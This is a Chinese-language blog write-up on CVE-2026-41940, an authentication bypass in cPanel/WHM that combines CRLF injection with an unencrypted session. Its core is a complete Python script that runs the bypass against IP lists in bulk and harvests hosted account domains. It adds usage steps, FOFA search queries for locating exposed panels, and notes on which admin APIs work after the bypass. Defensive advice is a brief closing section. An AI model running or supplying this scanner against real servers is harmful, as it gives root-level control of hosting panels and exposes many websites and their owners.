CVE-2026-41940 cPanel/WHM 认证绕过实战笔记

做安全二十多年,第一次亲手打一个真在野被利用的 0day,顺手记录一下。

CVE-2026-41940 是 cPanel & WHM 的认证绕过漏洞,影响所有当前支持的版本。KnownHost 已经确认它在 in-the-wild 被当作零日使用。CVSS 8.8,妥妥的高危。


漏洞概述

影响范围:

  • 超过 7000 万域名使用 cPanel
  • 所有当前支持的 cPanel & WHM 版本都受影响

修复版本:

  • cPanel & WHM 110.0.x → 11.110.0.97
  • cPanel & WHM 118.0.x → 11.118.0.63
  • cPanel & WHM 126.0.x → 11.126.0.54
  • cPanel & WHM 132.0.x → 11.132.0.29
  • cPanel & WHM 134.0.x → 11.134.0.20
  • cPanel & WHM 136.0.x → 11.136.0.5

漏洞原理

这个漏洞简单说就是:CRLF 注入 + session 编码缺陷

两个 bug 叠加:

Bug 1:CRLF 注入

saveSession 函数没有过滤 \r\n,攻击者可以在 session 文件里伪造任意的 key=value 行。比如在密码字段注入:

pass=x\r\nhasroot=1\r\nuser=root\r\ntfa_verified=1\r\n...

这样就伪造出了 hasroot=1tfa_verified=1user=root 等关键字段。

Bug 2:<ob> 段缺失导致密码不编码

Session cookie 格式是 :SESSIONID,ob_hex<ob> 是每会话的对称加密密钥,用来把密码字段加密后再写入磁盘。

如果攻击者故意去掉逗号后面的 ob 部分(无 ob session),$encoder 为空,密码就不经过加密直接以明文写入磁盘。

攻击流程

1. 发送错误登录请求,建立 preauth session
   POST /login/?login_only=1
   user=root&pass=wrong
   → 收到 Cookie: :SESSIONID,ob_hex

2. 取 cookie 的 base name(去掉 ob 部分)
   :SESSIONID,ob_hex → :SESSIONID

3. 构造带 CRLF 注入的密码
   pass = "x\r\nhasroot=1\r\ntfa_verified=1\r\nuser=root\r\n
          cp_security_token=/cpsess9999999999\r\n
          successful_internal_auth_with_timestamp=1777462149"

   base64 编码后放 Authorization: Basic 头

4. 带上无 ob 的 cookie 发送认证请求
   Cookie: whostmgrsession=:SESSIONID  (无 ob)
   Authorization: Basic base64(...)

   因为无 ob,密码不加密,\r\n 原样进 session 文件

5. session 文件内容变成多行伪造记录:
   pass=x
   hasroot=1      ← 伪造
   tfa_verified=1 ← 伪造
   user=root      ← 伪造
   ...

6. 触发 Modify 流程,把 raw 注入提升到 cache JSON

7. 服务器用 cache 读取 session,认证绕过完成

完整利用脚本

基于 WatchTowr 的分析,改写了可直接使用的 Python 脚本:

#!/usr/bin/env python3
"""
CVE-2026-41940 - cPanel/WHM Auth Bypass + 批量扫描
"""
import requests, urllib.parse, base64, sys, re, csv, time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

from pathlib import Path

try:
    from tqdm import tqdm
except ImportError:
    tqdm = None

# ============================================
# Payload: root:x\r\nhasroot=1\r\nuser=root\r\ntfa_verified=1\r\n
# successful_internal_auth_with_timestamp=9999999999
# ============================================
PAYLOAD_B64 = (
    "cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5"
    "OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x"
)

def scan_single_ip(ip, port=2087):
    """
    对单个 IP 执行完整的 CVE-2026-41940 认证绕过
    返回: (ip, domains_str, count) 或 None
    """
    s = requests.Session()
    s.verify = False

    try:
        # Stage 1: Minting preauth session
        r = s.post(
            f"https://{ip}:{port}/login/?login_only=1",
            data={"user": "root", "pass": "wrong"},
            timeout=15,
            headers={"Connection": "close"}
        )

        raw_set = r.raw.headers.get("Set-Cookie", "")
        cookie_value = None
        for part in raw_set.split(","):
            if "whostmgrsession" in part:
                cookie_value = part.split("whostmgrsession=", 1)[1].split(";")[0]
                cookie_value = urllib.parse.unquote(cookie_value)
                break

        if not cookie_value:
            return None

        session_base = cookie_value.split(",", 1)[0]
        cookie_enc = urllib.parse.quote(session_base, safe='')

        # Stage 2: CRLF injection
        r = s.get(
            f"https://{ip}:{port}/",
            headers={
                "Authorization": f"Basic {PAYLOAD_B64}",
                "Cookie": f"whostmgrsession={cookie_enc}",
                "Host": f"{ip}:{port}",
                "Connection": "close"
            },
            timeout=15,
            allow_redirects=False
        )

        m = re.search(r"/cpsess\d{10}", r.headers.get("Location", ""))
        if not m:
            return None

        token = m.group(0)

        # Stage 3: do_token_denied - 触发 Modify,写入 cache
        s.get(
            f"https://{ip}:{port}/scripts2/listaccts",
            headers={
                "Cookie": f"whostmgrsession={cookie_enc}",
                "Host": f"{ip}:{port}",
                "Connection": "close"
            },
            timeout=15
        )

        # Stage 4: 验证 + 获取域名列表
        r = s.get(
            f"https://{ip}:{port}{token}/json-api/listaccts",
            params={"api.version": "1"},
            headers={
                "Host": f"{ip}:{port}",
                "Cookie": f"whostmgrsession={cookie_enc}",
                "Connection": "close"
            },
            timeout=15
        )

        if r.status_code != 200:
            return None

        data = r.json()
        if "data" in data and "acct" in data["data"]:
            accounts = data["data"]["acct"]
            domains = [acc.get("domain", "") for acc in accounts if acc.get("domain")]
            if domains:
                return (ip, ",".join(domains), len(domains))

        return None

    except Exception:
        return None


def main():
    # 读取 IP 列表
    ip_file = Path("ip.txt")
    if not ip_file.exists():
        print("[!] ip.txt not found. Usage:")
        print("    echo '1.2.3.4' > ip.txt")
        print("    python cve-2026-41940-scan.py")
        sys.exit(1)

    ips = [line.strip() for line in ip_file.read_text().splitlines() if line.strip()]

    if not ips:
        print("[!] ip.txt is empty")
        sys.exit(1)

    print(f"\n[📋] Loaded {len(ips)} IPs from ip.txt")
    print(f"[🔧] Starting scan...\n")

    results = []
    success = 0
    failed = 0

    iterator = tqdm(ips, desc="Scanning", ncols=80, unit="ip") if tqdm else ips

    for ip in iterator:
        result = scan_single_ip(ip)
        if result:
            results.append(result)
            success += 1
        else:
            failed += 1

    # 保存 CSV
    if results:
        ts = int(time.time())
        csv_file = f"cpanel_results_{ts}.csv"
        with open(csv_file, "w", newline="", encoding="utf-8") as f:
            writer = csv.writer(f)
            writer.writerow(["IP", "Domains", "Domain Count"])
            for ip, domains, count in sorted(results, key=lambda x: x[2], reverse=True):
                writer.writerow([ip, domains, count])

        print(f"\n{'='*60}")
        print(f"[📊] Results:")
        print(f"    Total: {len(ips)}, ✅ Success: {success}, ❌ Failed: {failed}")
        print(f"    📁 Output: {csv_file}")
        print(f"{'='*60}")

        print(f"\n[🔝] Top results (by domain count):")
        print(f"{'IP':<25} {'Count':<8} {'Domains'[:50]}")
        print("-" * 60)
        for ip, domains, count in sorted(results, key=lambda x: x[2], reverse=True)[:10]:
            print(f"{ip:<25} {count:<8} {domains[:50]}")
    else:
        print(f"\n[!] No successful results")


if __name__ == "__main__":
    main()

使用方法

# 1. 安装依赖
pip install requests tqdm

# 2. 创建 IP 列表
echo "1.2.3.4" > ip.txt
echo "5.6.7.8" >> ip.txt

# 3. 运行批量扫描
python cve-2026-41940-scan.py

可用的 WHM API(认证绕过后)

这个版本的 cPanel/WHM (11.108.0.15) 能用的 WHM API 非常有限:

API 功能 状态
loadavg 系统负载
getdiskusage 磁盘使用情况
listaccts 列出所有 cPanel 账户
accountsummary 账户摘要 ⚠️ 需 user 参数
createacct 创建 cPanel 账户 ⚠️ 需参数
passwd 修改密码 ⚠️ 需参数

读文件/执行命令的 API:全部不存在,只有 loadavggetdiskusage 可用。


FOXA 搜索语法

# 搜索 cPanel 管理面板
app="cpanel"

# 精确 WHM
product="whm" && port=2087

# body 特征
body="/login/?login_only=1" && port=2087

# 组合
body="cPanel" && body="whostmgr" && port=2087

防御建议

  1. 立即升级:所有 cPanel & WHM 版本升级到修复版本
  2. 检测利用:监控 /var/cpanel/sessions/raw/ 目录下 session 文件是否有异常多行注入
  3. 网络层:在 WAF/防火墙层过滤 \r\n 字符在 Authorization 头中的出现

参考

  • WatchTowr Labs 分析:https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/
  • cPanel 官方 Advisory:https://support.cpanel.net/hc/en-us/articles/40073787579671